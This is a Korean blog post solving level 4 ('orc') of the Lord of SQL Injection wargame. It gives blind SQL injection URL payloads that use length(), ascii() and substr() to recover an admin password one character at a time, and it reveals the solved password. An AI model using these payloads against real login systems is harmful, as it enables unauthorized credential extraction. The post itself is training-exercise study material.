Lord of SQL Injection 4단계, orc 풀이

2019. 10. 29. 16:09·Archive/Hacking
목차
  1. <이용되는 함수>
  2. <비밀번호 유추과정>
728x90
반응형

 

3단계 고블린에 이어 4단계 orc 풀이를 들어가겠다.

사실 이 문제는 blind injection을 이용해 푸는 문제인데, 나는 잘 몰라서 인터넷의 힘을 빌렸다.

다른 사람들은 blind injection을 쉽게 푸는 프로그램을 파이썬으로 작성하던데 나는 파이썬을 몰라서

노가다로 풀었다.

 

 

 

문제를 푸는데 핵심적인 역할을 하는 쿼리문부터 살펴보겠다.

쿼리문의 조건문을 보면 id='admin'이고, 우리가 임의로 변경할 수 있는 변수인 pw가 있다.

 

 

if (($result['pw']) && ($result['pw'] == $_GET['pw'])) solve ("orc");

 

 

문제를 해결하려면 데이터베이스에 id가 admin 인 pw값을 우리가 알아야한다.

자, 문제는 그걸 어떻게 알 수 있느냐!

다음 아래의 과정을 천천히 따라가다보면 해결된다.

 

 

 

 


 

<이용되는 함수>

 

1. ascii() : 입력받은 인자를 아스키 코드 10진수로 변환하는 함수

2. length() : 문자열의 길이를 반환한다.

3. substring(문자열, 시작위치, 길이) : 문자열의 시작위치에서 잘라낼 문자 개수를 지정하여 반환하는 함수

  ex) substr('1234',2,2)= 23

 

 

 

 

<비밀번호 유추과정>

 

1. 패스워드 길이 확인 (length 활용)

   - ?pw=9999' or id='admin' and length(pw)=1(길이)%23

   - ?pw=9999' or id='admin' and length(pw)=2(길이)%23 

   - ?pw=9999' or id='admin' and length(pw)=3(길이)%23 ...

 

id가 admin이고 length가 (길이)인 값을 찾아내는 과정이다.

만약 length의 값이 참이 된다면

 

 

이 조건문이 실행될 것이다.

 

 

2. 패스워드의 첫번째 글자부터 유추

    - 조건: id='admin' and ascii (substr(pw,1,1))> 원하는 숫자

        -> id가 admin이고 해당 아이디의 비밀번호 첫번재 글자에서 한 글자를 추출하고

            아스키코드 10진수로 변환한 값이 원하는 숫자보다 크다는 구문이다. 이런 식으로 범위를 좁혀나간 이후

        -> ?pw=1' or id='admin' and ascii(substr(pw,1,1))=50%23 이런 식으로 pw를 유추해 나간다.

 

 

 

더보기

pw의 길이는 8이라는 것을 찾아냈다!

 

 

 

첫 글자는 아스키코드 50.

 

 두번째 글자는 아스키 코드 57.

 

 

 

세번째 글자는 아스키코드 53

 

 

네번째 아스키코드 100

 

 

 

 

다섯번째 아스키코드 53

 

 

 

 

여섯번째 아스키코드 56

 

 

 

일곱번째 아스키코드 52

 

 

 

여덟번째 아스키코드 52

 

 

따라서 char(50,57,53,100,53,56,52,52)     ->    295d5844

 

데이터베이스안에 들어있는 pw값은 295d5844 이다.

 

 

 

 

 

 

 

 

 

728x90
반응형

'Archive > Hacking' 카테고리의 다른 글

Lord of SQL Injection 6단계, darkelf 풀이  (0) 2019.10.29
Lord of SQL Injection 5단계, wolfman 풀이  (0) 2019.10.29
Lord of SQL Injection 3단계, goblin 풀이  (0) 2019.10.27
Lord of SQL Injection 2단계, cobolt 풀이  (0) 2019.10.27
Lord of SQL Injection 1단계, gremlin 풀이  (0) 2019.10.27
  1. <이용되는 함수>
  2. <비밀번호 유추과정>
'Archive/Hacking' 카테고리의 다른 글
  • Lord of SQL Injection 6단계, darkelf 풀이
  • Lord of SQL Injection 5단계, wolfman 풀이
  • Lord of SQL Injection 3단계, goblin 풀이
  • Lord of SQL Injection 2단계, cobolt 풀이
코뮤(commu)
코뮤(commu)
코딩으로 커뮤니케이션하는 코뮤입니다 😎
  • 코뮤(commu)
    코뮤(COMMU)
    코뮤(commu)
  • 전체
    오늘
    어제
    • 분류 전체보기
      • Archive
        • Hacking
        • Develop
        • ETC
      • Algorithm
      • DB&Infra
      • ETC
      • Node
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

    • IT지식보따리
    • IT가 맛있다
    • IT 천재
  • 공지사항

    • 배고픕니다
  • 인기 글

  • 태그

    Git
    파이썬 알고리즘
    백준 문제풀이
    자바스크립트
    파이썬 문제
    코드업 기초
    파이썬 기초 문제
    코드업
    자바스크립트 API
    백준 파이썬
    파이썬 백준
    Oracle
    Django
    비박스
    Codeup
    카카오 100일 프로젝트
    오라클
    코드업 파이썬 기초 100제
    자바스크립트 객체
    보안뉴스
    백준 풀이
    Python
    백준
    파이썬 기초
    장고
    oracle db
    파이썬
    docker
    C++
    javascript
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.1
코뮤(commu)
Lord of SQL Injection 4단계, orc 풀이
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.